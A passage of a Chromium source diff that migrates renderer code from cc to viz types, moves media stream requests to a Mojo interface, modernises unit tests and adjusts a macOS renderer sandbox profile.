 #include "cc/test/fake_layer_tree_frame_sink.h"
 #include "cc/test/test_context_provider.h"
 #include "cc/test/test_web_graphics_context_3d.h"
 #include "cc/trees/layer_tree_host.h"
 #include "components/viz/common/frame_sinks/begin_frame_args.h"
+#include "components/viz/common/quads/copy_output_request.h"
 #include "content/public/common/screen_info.h"
 #include "content/public/test/mock_render_thread.h"
 #include "content/renderer/render_widget.h"
@@ -66,7 +66,7 @@
   void UpdateVisualState() override {}
   void WillBeginCompositorFrame() override {}
   std::unique_ptr<cc::SwapPromise> RequestCopyOfOutputForLayoutTest(
-      std::unique_ptr<cc::CopyOutputRequest> request) override {
+      std::unique_ptr<viz::CopyOutputRequest> request) override {
     return nullptr;
   }
 };
@@ -216,7 +216,7 @@
     expected_requests_ += (expected_successes - 1);
   }
 
-  void EndTest() { base::MessageLoop::current()->QuitWhenIdle(); }
+  void EndTest() { base::RunLoop::QuitCurrentWhenIdleDeprecated(); }
 
   void AfterTest() {
     if (failure_mode_ == NO_FAILURE) {
diff --git a/content/renderer/layout_test_dependencies.h b/content/renderer/layout_test_dependencies.h
index 2367e4a6..120d913 100644
--- a/content/renderer/layout_test_dependencies.h
+++ b/content/renderer/layout_test_dependencies.h
@@ -43,7 +43,7 @@
   // Returns a SwapPromise which should be queued for the next compositor frame.
   virtual std::unique_ptr<cc::SwapPromise> RequestCopyOfOutput(
       int32_t routing_id,
-      std::unique_ptr<cc::CopyOutputRequest> request) = 0;
+      std::unique_ptr<viz::CopyOutputRequest> request) = 0;
 };
 
 }  // namespace content
diff --git a/content/renderer/media/media_stream_dispatcher.cc b/content/renderer/media/media_stream_dispatcher.cc
index 10a3a49..eaab09a6 100644
--- a/content/renderer/media/media_stream_dispatcher.cc
+++ b/content/renderer/media/media_stream_dispatcher.cc
@@ -80,9 +80,9 @@
   DVLOG(1) << "MediaStreamDispatcher::GenerateStream(" << request_id << ")";
 
   requests_.push_back(Request(event_handler, request_id, next_ipc_id_));
-  Send(new MediaStreamHostMsg_GenerateStream(routing_id(), next_ipc_id_++,
-                                             controls, security_origin,
-                                             is_processing_user_gesture));
+  GetMediaStreamDispatcherHost()->GenerateStream(routing_id(), next_ipc_id_++,
+                                                 controls, security_origin,
+                                                 is_processing_user_gesture);
 }
 
 void MediaStreamDispatcher::CancelGenerateStream(
@@ -188,15 +188,6 @@
   // Do not self-destruct. UserMediaClientImpl owns |this|.
 }
 
-bool MediaStreamDispatcher::Send(IPC::Message* message) {
-  if (!RenderThread::Get()) {
-    delete message;
-    return false;
-  }
-
-  return RenderThread::Get()->Send(message);
-}
-
 bool MediaStreamDispatcher::OnMessageReceived(const IPC::Message& message) {
   bool handled = true;
   IPC_BEGIN_MESSAGE_MAP(MediaStreamDispatcher, message)
diff --git a/content/renderer/media/media_stream_dispatcher.h b/content/renderer/media/media_stream_dispatcher.h
index e0dedd1..cb68bd0 100644
--- a/content/renderer/media/media_stream_dispatcher.h
+++ b/content/renderer/media/media_stream_dispatcher.h
@@ -109,7 +109,6 @@
 
   // RenderFrameObserver override.
   void OnDestruct() override;
-  bool Send(IPC::Message* message) override;
   bool OnMessageReceived(const IPC::Message& message) override;
 
   // Messages from the browser.
diff --git a/content/renderer/media/media_stream_dispatcher_unittest.cc b/content/renderer/media/media_stream_dispatcher_unittest.cc
index 7b5e442..81f31f0 100644
--- a/content/renderer/media/media_stream_dispatcher_unittest.cc
+++ b/content/renderer/media/media_stream_dispatcher_unittest.cc
@@ -36,6 +36,9 @@
  public:
   MockMojoMediaStreamDispatcherHost() {}
 
+  MOCK_METHOD5(
+      GenerateStream,
+      void(int32_t, int32_t, const StreamControls&, const url::Origin&, bool));
   MOCK_METHOD2(CancelGenerateStream, void(int32_t, int32_t));
   MOCK_METHOD2(StopStreamDevice, void(int32_t, const std::string&));
   MOCK_METHOD5(OpenDevice,
@@ -115,7 +118,7 @@
 
 class MediaStreamDispatcherUnderTest : public MediaStreamDispatcher {
  public:
-  MediaStreamDispatcherUnderTest() : MediaStreamDispatcher(NULL) {}
+  MediaStreamDispatcherUnderTest() : MediaStreamDispatcher(nullptr) {}
 
   using MediaStreamDispatcher::GetNextIpcIdForTest;
   using RenderFrameObserver::OnMessageReceived;
@@ -224,12 +227,9 @@
 }
 
 TEST_F(MediaStreamDispatcherTest, BasicVideoDevice) {
-  std::unique_ptr<MediaStreamDispatcher> dispatcher(
-      new MediaStreamDispatcher(NULL));
-  std::unique_ptr<MockMediaStreamDispatcherEventHandler> handler1(
-      new MockMediaStreamDispatcherEventHandler);
-  std::unique_ptr<MockMediaStreamDispatcherEventHandler> handler2(
-      new MockMediaStreamDispatcherEventHandler);
+  auto dispatcher = base::MakeUnique<MediaStreamDispatcher>(nullptr);
+  auto handler1 = base::MakeUnique<MockMediaStreamDispatcherEventHandler>();
+  auto handler2 = base::MakeUnique<MockMediaStreamDispatcherEventHandler>();
   MockMojoMediaStreamDispatcherHost mock_dispatcher_host;
   dispatcher->dispatcher_host_ = &mock_dispatcher_host;
   url::Origin security_origin;
@@ -292,10 +292,10 @@
 }
 
 TEST_F(MediaStreamDispatcherTest, TestFailure) {
-  std::unique_ptr<MediaStreamDispatcher> dispatcher(
-      new MediaStreamDispatcher(NULL));
-  std::unique_ptr<MockMediaStreamDispatcherEventHandler> handler(
-      new MockMediaStreamDispatcherEventHandler);
+  auto dispatcher = base::MakeUnique<MediaStreamDispatcher>(nullptr);
+  auto handler = base::MakeUnique<MockMediaStreamDispatcherEventHandler>();
+  MockMojoMediaStreamDispatcherHost mock_dispatcher_host;
+  dispatcher->dispatcher_host_ = &mock_dispatcher_host;
   StreamControls components(true, true);
   url::Origin security_origin;
 
@@ -340,10 +340,8 @@
 }
 
 TEST_F(MediaStreamDispatcherTest, CancelGenerateStream) {
-  std::unique_ptr<MediaStreamDispatcher> dispatcher(
-      new MediaStreamDispatcher(NULL));
-  std::unique_ptr<MockMediaStreamDispatcherEventHandler> handler(
-      new MockMediaStreamDispatcherEventHandler);
+  auto dispatcher = base::MakeUnique<MediaStreamDispatcher>(nullptr);
+  auto handler = base::MakeUnique<MockMediaStreamDispatcherEventHandler>();
   MockMojoMediaStreamDispatcherHost mock_dispatcher_host;
   dispatcher->dispatcher_host_ = &mock_dispatcher_host;
   StreamControls components(true, true);
@@ -401,10 +399,8 @@
 }
 
 TEST_F(MediaStreamDispatcherTest, GetNonScreenCaptureDevices) {
-  std::unique_ptr<MediaStreamDispatcher> dispatcher(
-      new MediaStreamDispatcher(nullptr));
-  std::unique_ptr<MockMediaStreamDispatcherEventHandler> handler(
-      new MockMediaStreamDispatcherEventHandler);
+  auto dispatcher = base::MakeUnique<MediaStreamDispatcher>(nullptr);
+  auto handler = base::MakeUnique<MockMediaStreamDispatcherEventHandler>();
   MockMojoMediaStreamDispatcherHost mock_dispatcher_host;
   dispatcher->dispatcher_host_ = &mock_dispatcher_host;
   url::Origin security_origin;
diff --git a/content/renderer/media/media_stream_video_capturer_source_unittest.cc b/content/renderer/media/media_stream_video_capturer_source_unittest.cc
index 9e6b811..248bc07 100644
--- a/content/renderer/media/media_stream_video_capturer_source_unittest.cc
+++ b/content/renderer/media/media_stream_video_capturer_source_unittest.cc
@@ -37,6 +37,9 @@
  public:
   MockMojoMediaStreamDispatcherHost() {}
 
+  MOCK_METHOD5(
+      GenerateStream,
+      void(int32_t, int32_t, const StreamControls&, const url::Origin&, bool));
   MOCK_METHOD2(CancelGenerateStream, void(int32_t, int32_t));
   MOCK_METHOD2(StopStreamDevice, void(int32_t, const std::string&));
   MOCK_METHOD5(OpenDevice,
@@ -114,8 +117,7 @@
   }
 
   void InitWithDeviceInfo(const StreamDeviceInfo& device_info) {
-    std::unique_ptr<MockVideoCapturerSource> delegate(
-        new MockVideoCapturerSource());
+    auto delegate = base::MakeUnique<MockVideoCapturerSource>();
     delegate_ = delegate.get();
     source_ = new MediaStreamVideoCapturerSource(
         base::Bind(&MediaStreamVideoCapturerSourceTest::OnSourceStopped,
@@ -174,8 +176,7 @@
 };
 
 TEST_F(MediaStreamVideoCapturerSourceTest, StartAndStop) {
-  std::unique_ptr<MockVideoCapturerSource> delegate(
-      new MockVideoCapturerSource());
+  auto delegate = base::MakeUnique<MockVideoCapturerSource>();
   delegate_ = delegate.get();
   EXPECT_CALL(*delegate_, GetPreferredFormats());
   source_ = new MediaStreamVideoCapturerSource(
@@ -213,8 +214,7 @@
 }
 
 TEST_F(MediaStreamVideoCapturerSourceTest, CaptureTimeAndMetadataPlumbing) {
-  std::unique_ptr<MockVideoCapturerSource> delegate(
-      new MockVideoCapturerSource());
+  auto delegate = base::MakeUnique<MockVideoCapturerSource>();
   delegate_ = delegate.get();
   EXPECT_CALL(*delegate_, GetPreferredFormats());
   source_ = new MediaStreamVideoCapturerSource(
diff --git a/content/renderer/media/user_media_client_impl_unittest.cc b/content/renderer/media/user_media_client_impl_unittest.cc
index 8e1f424..460c499 100644
--- a/content/renderer/media/user_media_client_impl_unittest.cc
+++ b/content/renderer/media/user_media_client_impl_unittest.cc
@@ -120,6 +120,9 @@
  public:
   MockMojoMediaStreamDispatcherHost() {}
 
+  MOCK_METHOD5(
+      GenerateStream,
+      void(int32_t, int32_t, const StreamControls&, const url::Origin&, bool));
   MOCK_METHOD2(CancelGenerateStream, void(int32_t, int32_t));
   MOCK_METHOD2(StopStreamDevice, void(int32_t, const std::string&));
   MOCK_METHOD5(OpenDevice,
diff --git a/content/renderer/p2p/ipc_network_manager_unittest.cc b/content/renderer/p2p/ipc_network_manager_unittest.cc
index c3804e2..a7071718 100644
--- a/content/renderer/p2p/ipc_network_manager_unittest.cc
+++ b/content/renderer/p2p/ipc_network_manager_unittest.cc
@@ -4,6 +4,7 @@
 
 #include "content/renderer/p2p/ipc_network_manager.h"
 
+#include <algorithm>
 #include <memory>
 
 #include "content/renderer/p2p/network_list_manager.h"
@@ -95,17 +96,25 @@
   // Verify we have 2 networks now.
   EXPECT_EQ(2uL, networks.size());
   // Verify the network with prefix length of 64 has 2 IP addresses.
-  EXPECT_EQ(64, networks[1]->prefix_length());
-  EXPECT_EQ(2uL, networks[1]->GetIPs().size());
+  auto network_with_two_ips = std::find_if(
+      networks.begin(), networks.end(),
+      [](rtc::Network* network) { return network->prefix_length() == 64; });
+  ASSERT_NE(networks.end(), network_with_two_ips);
+  EXPECT_EQ(2uL, (*network_with_two_ips)->GetIPs().size());
+  // IPs should be in the same order as the list passed into
+  // OnNetworkListChanged.
   EXPECT_TRUE(rtc::IPFromString(kIPv6PublicAddrString1, &ip_address));
-  EXPECT_EQ(networks[1]->GetIPs()[0], ip_address);
+  EXPECT_EQ((*network_with_two_ips)->GetIPs()[0], ip_address);
   EXPECT_TRUE(rtc::IPFromString(kIPv6PublicAddrString2, &ip_address));
-  EXPECT_EQ(networks[1]->GetIPs()[1], ip_address);
-  // Verify the network with prefix length of 48 has 2 IP addresses.
-  EXPECT_EQ(48, networks[0]->prefix_length());
-  EXPECT_EQ(1uL, networks[0]->GetIPs().size());
+  EXPECT_EQ((*network_with_two_ips)->GetIPs()[1], ip_address);
+  // Verify the network with prefix length of 48 has 1 IP address.
+  auto network_with_one_ip = std::find_if(
+      networks.begin(), networks.end(),
+      [](rtc::Network* network) { return network->prefix_length() == 48; });
+  ASSERT_NE(networks.end(), network_with_one_ip);
+  EXPECT_EQ(1uL, (*network_with_one_ip)->GetIPs().size());
   EXPECT_TRUE(rtc::IPFromString(kIPv6PublicAddrString2, &ip_address));
-  EXPECT_EQ(networks[0]->GetIPs()[0], ip_address);
+  EXPECT_EQ((*network_with_one_ip)->GetIPs()[0], ip_address);
 }
 
 }  // namespace content
diff --git a/content/renderer/pepper/pepper_compositor_host.cc b/content/renderer/pepper/pepper_compositor_host.cc
index cc58631..79098c1 100644
--- a/content/renderer/pepper/pepper_compositor_host.cc
+++ b/content/renderer/pepper/pepper_compositor_host.cc
@@ -284,11 +284,11 @@
       viz::TextureMailbox mailbox(new_layer->texture->mailbox,
                                   new_layer->texture->sync_token,
                                   new_layer->texture->target);
-      texture_layer->SetTextureMailbox(mailbox,
-          cc::SingleReleaseCallback::Create(
-              base::Bind(&PepperCompositorHost::ResourceReleased,
-                         weak_factory_.GetWeakPtr(),
-                         new_layer->common.resource_id)));
+      texture_layer->SetTextureMailbox(
+          mailbox,
+          viz::SingleReleaseCallback::Create(base::Bind(
+              &PepperCompositorHost::ResourceReleased,
+              weak_factory_.GetWeakPtr(), new_layer->common.resource_id)));
       // TODO(penghuang): get a damage region from the application and
       // pass it to SetNeedsDisplayRect().
       texture_layer->SetNeedsDisplay();
@@ -322,7 +322,7 @@
       viz::TextureMailbox mailbox(bitmap.get(), PP_ToGfxSize(desc.size));
       image_layer->SetTextureMailbox(
           mailbox,
-          cc::SingleReleaseCallback::Create(base::Bind(
+          viz::SingleReleaseCallback::Create(base::Bind(
               &PepperCompositorHost::ImageReleased, weak_factory_.GetWeakPtr(),
               new_layer->common.resource_id, base::Passed(&image_shm),
               base::Passed(&bitmap))));
diff --git a/content/renderer/pepper/pepper_graphics_2d_host.cc b/content/renderer/pepper/pepper_graphics_2d_host.cc
index ed8115a..ce9c13e 100644
--- a/content/renderer/pepper/pepper_graphics_2d_host.cc
+++ b/content/renderer/pepper/pepper_graphics_2d_host.cc
@@ -560,7 +560,7 @@
 
 bool PepperGraphics2DHost::PrepareTextureMailbox(
     viz::TextureMailbox* mailbox,
-    std::unique_ptr<cc::SingleReleaseCallback>* release_callback) {
+    std::unique_ptr<viz::SingleReleaseCallback>* release_callback) {
   if (!texture_mailbox_modified_)
     return false;
   // TODO(jbauman): Send image_data_ through mailbox to avoid copy.
@@ -585,11 +585,9 @@
   image_data_->Unmap();
 
   *mailbox = viz::TextureMailbox(shared_bitmap.get(), pixel_image_size);
-  *release_callback = cc::SingleReleaseCallback::Create(
-      base::Bind(&PepperGraphics2DHost::ReleaseCallback,
-                 this->AsWeakPtr(),
-                 base::Passed(&shared_bitmap),
-                 pixel_image_size));
+  *release_callback = viz::SingleReleaseCallback::Create(
+      base::Bind(&PepperGraphics2DHost::ReleaseCallback, this->AsWeakPtr(),
+                 base::Passed(&shared_bitmap), pixel_image_size));
   texture_mailbox_modified_ = false;
   return true;
 }
diff --git a/content/renderer/pepper/pepper_graphics_2d_host.h b/content/renderer/pepper/pepper_graphics_2d_host.h
index c314770..a9e1258 100644
--- a/content/renderer/pepper/pepper_graphics_2d_host.h
+++ b/content/renderer/pepper/pepper_graphics_2d_host.h
@@ -21,10 +21,6 @@
 #include "ui/gfx/geometry/point_f.h"
 #include "ui/gfx/geometry/size.h"
 
-namespace cc {
-class SingleReleaseCallback;
-}
-
 namespace gfx {
 class Rect;
 }
@@ -35,6 +31,7 @@
 
 namespace viz {
 class SharedBitmap;
+class SingleReleaseCallback;
 class TextureMailbox;
 }
 
@@ -77,7 +74,7 @@
 
   bool PrepareTextureMailbox(
       viz::TextureMailbox* mailbox,
-      std::unique_ptr<cc::SingleReleaseCallback>* release_callback);
+      std::unique_ptr<viz::SingleReleaseCallback>* release_callback);
   void AttachedToNewLayer();
 
   // Notifications about the view's progress painting.  See PluginInstance.
diff --git a/content/renderer/pepper/pepper_plugin_instance_impl.cc b/content/renderer/pepper/pepper_plugin_instance_impl.cc
index cc9d9998..767e913 100644
--- a/content/renderer/pepper/pepper_plugin_instance_impl.cc
+++ b/content/renderer/pepper/pepper_plugin_instance_impl.cc
@@ -782,8 +782,8 @@
   if (!committed_texture_.IsValid())
     return;
 
-  std::unique_ptr<cc::SingleReleaseCallback> callback(
-      cc::SingleReleaseCallback::Create(base::Bind(
+  std::unique_ptr<viz::SingleReleaseCallback> callback(
+      viz::SingleReleaseCallback::Create(base::Bind(
           &PepperPluginInstanceImpl::FinishedConsumingCommittedTexture,
           weak_factory_.GetWeakPtr(), committed_texture_,
           committed_texture_graphics_3d_)));
@@ -2210,7 +2210,7 @@
 
 bool PepperPluginInstanceImpl::PrepareTextureMailbox(
     viz::TextureMailbox* mailbox,
-    std::unique_ptr<cc::SingleReleaseCallback>* release_callback) {
+    std::unique_ptr<viz::SingleReleaseCallback>* release_callback) {
   if (!bound_graphics_2d_platform_)
     return false;
   return bound_graphics_2d_platform_->PrepareTextureMailbox(mailbox,
diff --git a/content/renderer/pepper/pepper_plugin_instance_impl.h b/content/renderer/pepper/pepper_plugin_instance_impl.h
index 1bd3c4a..787f848 100644
--- a/content/renderer/pepper/pepper_plugin_instance_impl.h
+++ b/content/renderer/pepper/pepper_plugin_instance_impl.h
@@ -560,7 +560,7 @@
   // cc::TextureLayerClient implementation.
   bool PrepareTextureMailbox(
       viz::TextureMailbox* mailbox,
-      std::unique_ptr<cc::SingleReleaseCallback>* release_callback) override;
+      std::unique_ptr<viz::SingleReleaseCallback>* release_callback) override;
 
   // RenderFrameObserver
   void AccessibilityModeChanged() override;
diff --git a/content/renderer/pepper/pepper_url_loader_host.cc b/content/renderer/pepper/pepper_url_loader_host.cc
index d46c54f..84fa273 100644
--- a/content/renderer/pepper/pepper_url_loader_host.cc
+++ b/content/renderer/pepper/pepper_url_loader_host.cc
@@ -177,7 +177,7 @@
 void PepperURLLoaderHost::DidFail(const WebURLError& error) {
   // Note that |loader| will be NULL for document loads.
   int32_t pp_error = PP_ERROR_FAILED;
-  if (error.domain.Equals(WebString::FromUTF8(net::kErrorDomain))) {
+  if (error.domain == WebURLError::Domain::kNet) {
     // TODO(bbudge): Extend pp_errors.h to cover interesting network errors
     // from the net error domain.
     switch (error.reason) {
diff --git a/content/renderer/pepper/plugin_module.cc b/content/renderer/pepper/plugin_module.cc
index 839dc1b..2d168cf 100644
--- a/content/renderer/pepper/plugin_module.cc
+++ b/content/renderer/pepper/plugin_module.cc
@@ -302,7 +302,7 @@
 }
 
 void QuitMessageLoop(PP_Instance instance) {
-  base::MessageLoop::current()->QuitNow();
+  base::RunLoop::QuitCurrentDeprecated();
 }
 
 uint32_t GetLiveObjectsForInstance(PP_Instance instance_id) {
diff --git a/content/renderer/pepper/ppb_flash_message_loop_impl.cc b/content/renderer/pepper/ppb_flash_message_loop_impl.cc
index 3746fa663..c3a2872 100644
--- a/content/renderer/pepper/ppb_flash_message_loop_impl.cc
+++ b/content/renderer/pepper/ppb_flash_message_loop_impl.cc
@@ -106,7 +106,7 @@
   state_->set_quit_called();
   state_->set_result(result);
 
-  base::MessageLoop::current()->QuitNow();
+  base::RunLoop::QuitCurrentDeprecated();
 
   if (!state_->run_callback().is_null())
     state_->run_callback().Run(result);
diff --git a/content/renderer/presentation/presentation_dispatcher_unittest.cc b/content/renderer/presentation/presentation_dispatcher_unittest.cc
index f3f239f5..59f31ef 100644
--- a/content/renderer/presentation/presentation_dispatcher_unittest.cc
+++ b/content/renderer/presentation/presentation_dispatcher_unittest.cc
@@ -80,13 +80,13 @@
                     StartPresentationCallback& callback));
 
   void ReconnectPresentation(const std::vector<GURL>& presentation_urls,
-                             const base::Optional<std::string>& presentation_id,
+                             const std::string& presentation_id,
                              ReconnectPresentationCallback callback) {
     ReconnectPresentationInternal(presentation_urls, presentation_id, callback);
   }
   MOCK_METHOD3(ReconnectPresentationInternal,
                void(const std::vector<GURL>& presentation_urls,
-                    const base::Optional<std::string>& presentation_id,
+                    const std::string& presentation_id,
                     ReconnectPresentationCallback& callback));
 
   void SetPresentationConnection(
diff --git a/content/renderer/render_frame_impl.cc b/content/renderer/render_frame_impl.cc
index e222f3f..31be67a 100644
--- a/content/renderer/render_frame_impl.cc
+++ b/content/renderer/render_frame_impl.cc
@@ -2639,7 +2639,7 @@
 void RenderFrameImpl::LoadErrorPage(int reason) {
   blink::WebURLError error;
   error.unreachable_url = frame_->GetDocument().Url();
-  error.domain = WebString::FromUTF8(net::kErrorDomain);
+  error.domain = blink::WebURLError::Domain::kNet;
   error.reason = reason;
 
   std::string error_html;
@@ -3919,15 +3919,13 @@
     return;
 
   // Display error page instead of a blank page, if appropriate.
-  std::string error_domain = "http";
   InternalDocumentStateData* internal_data =
       InternalDocumentStateData::FromDataSource(frame_->DataSource());
   int http_status_code = internal_data->http_status_code();
-  if (GetContentClient()->renderer()->HasErrorPage(http_status_code,
-                                                   &error_domain)) {
+  if (GetContentClient()->renderer()->HasErrorPage(http_status_code)) {
     WebURLError error;
     error.unreachable_url = frame_->GetDocument().Url();
-    error.domain = WebString::FromUTF8(error_domain);
+    error.domain = WebURLError::Domain::kHttp;
     error.reason = http_status_code;
     // This call may run scripts, e.g. via the beforeunload event.
     LoadNavigationErrorPage(frame_->DataSource()->GetRequest(), error, true,
@@ -4118,6 +4116,10 @@
   return true;
 }
 
+void RenderFrameImpl::DidBlockFramebust(const WebURL& url) {
+  Send(new FrameHostMsg_DidBlockFramebust(GetRoutingID(), url));
+}
+
 void RenderFrameImpl::AbortClientNavigation() {
   Send(new FrameHostMsg_AbortNavigation(routing_id_));
 }
diff --git a/content/renderer/render_frame_impl.h b/content/renderer/render_frame_impl.h
index 11c451a..cf6fe403 100644
--- a/content/renderer/render_frame_impl.h
+++ b/content/renderer/render_frame_impl.h
@@ -593,6 +593,7 @@
   blink::WebEffectiveConnectionType GetEffectiveConnectionType() override;
   bool IsClientLoFiActiveForFrame() override;
   bool ShouldUseClientLoFiForRequest(const blink::WebURLRequest&) override;
+  void DidBlockFramebust(const blink::WebURL& url) override;
   void AbortClientNavigation() override;
   void DidChangeSelection(bool is_empty_selection) override;
   bool HandleCurrentKeyboardEvent() override;
diff --git a/content/renderer/render_process_impl.cc b/content/renderer/render_process_impl.cc
index a68c26fb..d2e3edb 100644
--- a/content/renderer/render_process_impl.cc
+++ b/content/renderer/render_process_impl.cc
@@ -76,8 +76,6 @@
 
 std::unique_ptr<base::TaskScheduler::InitParams>
 GetDefaultTaskSchedulerInitParams() {
-  using StandbyThreadPolicy =
-      base::SchedulerWorkerPoolParams::StandbyThreadPolicy;
 
   constexpr int kMaxNumThreadsInBackgroundPool = 1;
   constexpr int kMaxNumThreadsInBackgroundBlockingPool = 1;
@@ -86,20 +84,16 @@
   constexpr auto kSuggestedReclaimTime = base::TimeDelta::FromSeconds(30);
 
   return base::MakeUnique<base::TaskScheduler::InitParams>(
-      base::SchedulerWorkerPoolParams(StandbyThreadPolicy::LAZY,
-                                      kMaxNumThreadsInBackgroundPool,
+      base::SchedulerWorkerPoolParams(kMaxNumThreadsInBackgroundPool,
                                       kSuggestedReclaimTime),
-      base::SchedulerWorkerPoolParams(StandbyThreadPolicy::LAZY,
-                                      kMaxNumThreadsInBackgroundBlockingPool,
+      base::SchedulerWorkerPoolParams(kMaxNumThreadsInBackgroundBlockingPool,
                                       kSuggestedReclaimTime),
       base::SchedulerWorkerPoolParams(
-          StandbyThreadPolicy::LAZY,
           std::max(
               kMaxNumThreadsInForegroundPoolLowerBound,
               content::GetMinThreadsInRendererTaskSchedulerForegroundPool()),
           kSuggestedReclaimTime),
-      base::SchedulerWorkerPoolParams(StandbyThreadPolicy::LAZY,
-                                      kMaxNumThreadsInForegroundBlockingPool,
+      base::SchedulerWorkerPoolParams(kMaxNumThreadsInForegroundBlockingPool,
                                       kSuggestedReclaimTime));
 }
 
diff --git a/content/renderer/render_thread_impl.cc b/content/renderer/render_thread_impl.cc
index 763f2fe..7670be8 100644
--- a/content/renderer/render_thread_impl.cc
+++ b/content/renderer/render_thread_impl.cc
@@ -45,7 +45,6 @@
 #include "cc/base/histograms.h"
 #include "cc/base/switches.h"
 #include "cc/blink/web_layer_impl.h"
-#include "cc/output/copy_output_request.h"
 #include "cc/output/layer_tree_frame_sink.h"
 #include "cc/output/vulkan_in_process_context_provider.h"
 #include "cc/raster/task_graph_runner.h"
@@ -57,6 +56,7 @@
 #include "components/viz/client/client_layer_tree_frame_sink.h"
 #include "components/viz/client/client_shared_bitmap_manager.h"
 #include "components/viz/client/local_surface_id_provider.h"
+#include "components/viz/common/quads/copy_output_request.h"
 #include "components/viz/common/resources/buffer_to_texture_target_map.h"
 #include "content/child/appcache/appcache_dispatcher.h"
 #include "content/child/appcache/appcache_frontend_impl.h"
@@ -2090,7 +2090,7 @@
 std::unique_ptr<cc::SwapPromise>
 RenderThreadImpl::RequestCopyOfOutputForLayoutTest(
     int32_t routing_id,
-    std::unique_ptr<cc::CopyOutputRequest> request) {
+    std::unique_ptr<viz::CopyOutputRequest> request) {
   DCHECK(layout_test_deps_);
   return layout_test_deps_->RequestCopyOfOutput(routing_id, std::move(request));
 }
diff --git a/content/renderer/render_thread_impl.h b/content/renderer/render_thread_impl.h
index e92d979..5b275a9 100644
--- a/content/renderer/render_thread_impl.h
+++ b/content/renderer/render_thread_impl.h
@@ -280,7 +280,7 @@
 
   std::unique_ptr<cc::SwapPromise> RequestCopyOfOutputForLayoutTest(
       int32_t routing_id,
-      std::unique_ptr<cc::CopyOutputRequest> request);
+      std::unique_ptr<viz::CopyOutputRequest> request);
 
   // True if we are running layout tests. This currently disables forwarding
   // various status messages to the console, skips network error pages, and
diff --git a/content/renderer/render_view_browsertest.cc b/content/renderer/render_view_browsertest.cc
index 47cf750..dbd7042 100644
--- a/content/renderer/render_view_browsertest.cc
+++ b/content/renderer/render_view_browsertest.cc
@@ -1356,7 +1356,7 @@
 TEST_F(RenderViewImplTest, DISABLED_DidFailProvisionalLoadWithErrorForError) {
   GetMainFrame()->EnableViewSourceMode(true);
   WebURLError error;
-  error.domain = WebString::FromUTF8(net::kErrorDomain);
+  error.domain = WebURLError::Domain::kNet;
   error.reason = net::ERR_FILE_NOT_FOUND;
   error.unreachable_url = GURL("http://foo");
   WebLocalFrame* web_frame = GetMainFrame();
@@ -1379,7 +1379,7 @@
 TEST_F(RenderViewImplTest, DidFailProvisionalLoadWithErrorForCancellation) {
   GetMainFrame()->EnableViewSourceMode(true);
   WebURLError error;
-  error.domain = WebString::FromUTF8(net::kErrorDomain);
+  error.domain = WebURLError::Domain::kNet;
   error.reason = net::ERR_ABORTED;
   error.unreachable_url = GURL("http://foo");
   WebLocalFrame* web_frame = GetMainFrame();
@@ -1804,10 +1804,7 @@
         *error_html = "A suffusion of yellow.";
     }
 
-    bool HasErrorPage(int http_status_code,
-                      std::string* error_domain) override {
-      return true;
-    }
+    bool HasErrorPage(int http_status_code) override { return true; }
   };
 };
 
@@ -1820,7 +1817,7 @@
 
 TEST_F(RendererErrorPageTest, MAYBE_Suppresses) {
   WebURLError error;
-  error.domain = WebString::FromUTF8(net::kErrorDomain);
+  error.domain = WebURLError::Domain::kNet;
   error.reason = net::ERR_FILE_NOT_FOUND;
   error.unreachable_url = GURL("http://example.com/suppress");
 
@@ -1850,7 +1847,7 @@
 
 TEST_F(RendererErrorPageTest, MAYBE_DoesNotSuppress) {
   WebURLError error;
-  error.domain = WebString::FromUTF8(net::kErrorDomain);
+  error.domain = WebURLError::Domain::kNet;
   error.reason = net::ERR_FILE_NOT_FOUND;
   error.unreachable_url = GURL("http://example.com/dont-suppress");
 
diff --git a/content/renderer/render_view_impl.cc b/content/renderer/render_view_impl.cc
index df9b91e5..589c73b6 100644
--- a/content/renderer/render_view_impl.cc
+++ b/content/renderer/render_view_impl.cc
@@ -978,6 +978,7 @@
   settings->SetPagePopupsSuppressed(prefs.page_popups_suppressed);
   settings->SetDoNotUpdateSelectionOnMutatingSelectionRange(
       prefs.do_not_update_selection_on_mutating_selection_range);
+  WebRuntimeFeatures::EnableCSSHexAlphaColor(prefs.css_hex_alpha_color_enabled);
 #endif  // defined(OS_ANDROID)
 
   switch (prefs.autoplay_policy) {
diff --git a/content/renderer/render_widget.cc b/content/renderer/render_widget.cc
index 360cb0a48..ca124ea 100644
--- a/content/renderer/render_widget.cc
+++ b/content/renderer/render_widget.cc
@@ -25,10 +25,10 @@
 #include "build/build_config.h"
 #include "cc/animation/animation_host.h"
 #include "cc/input/touch_action.h"
-#include "cc/output/copy_output_request.h"
 #include "cc/output/layer_tree_frame_sink.h"
 #include "cc/trees/layer_tree_host.h"
 #include "components/viz/common/frame_sinks/begin_frame_source.h"
+#include "components/viz/common/quads/copy_output_request.h"
 #include "content/common/content_switches_internal.h"
 #include "content/common/drag_event_source_info.h"
 #include "content/common/drag_messages.h"
@@ -1019,7 +1019,7 @@
 }
 
 std::unique_ptr<cc::SwapPromise> RenderWidget::RequestCopyOfOutputForLayoutTest(
-    std::unique_ptr<cc::CopyOutputRequest> request) {
+    std::unique_ptr<viz::CopyOutputRequest> request) {
   return RenderThreadImpl::current()->RequestCopyOfOutputForLayoutTest(
       routing_id_, std::move(request));
 }
diff --git a/content/renderer/render_widget.h b/content/renderer/render_widget.h
index 6a3221a..b7ce5d32 100644
--- a/content/renderer/render_widget.h
+++ b/content/renderer/render_widget.h
@@ -257,7 +257,7 @@
   void UpdateVisualState() override;
   void WillBeginCompositorFrame() override;
   std::unique_ptr<cc::SwapPromise> RequestCopyOfOutputForLayoutTest(
-      std::unique_ptr<cc::CopyOutputRequest> request) override;
+      std::unique_ptr<viz::CopyOutputRequest> request) override;
 
   // RenderWidgetInputHandlerDelegate
   void FocusChangeComplete() override;
diff --git a/content/renderer/renderer_v2.sb b/content/renderer/renderer_v2.sb
index 28e00ba..d6ecbce 100644
--- a/content/renderer/renderer_v2.sb
+++ b/content/renderer/renderer_v2.sb
@@ -84,17 +84,19 @@
 
 ; Reads from /usr.
 (allow file-read-data
-  (path "/usr/lib/libexpat.1.dylib")
-  (subpath "/usr/share/locale")
-  (subpath "/usr/share/zoneinfo"))
+  (subpath "/usr/lib")
+  (subpath "/usr/share/icu")
+  (subpath "/usr/share/locale"))
 
-(allow file-read* (path "/usr/share/icu/icudt57l.dat"))
+(if (= os-version 1013)
+  (allow file-read-data (subpath "/usr/share/zoneinfo.default"))
+  (allow file-read-data (subpath "/usr/share/zoneinfo")))
 
 ; Reads from /Library.
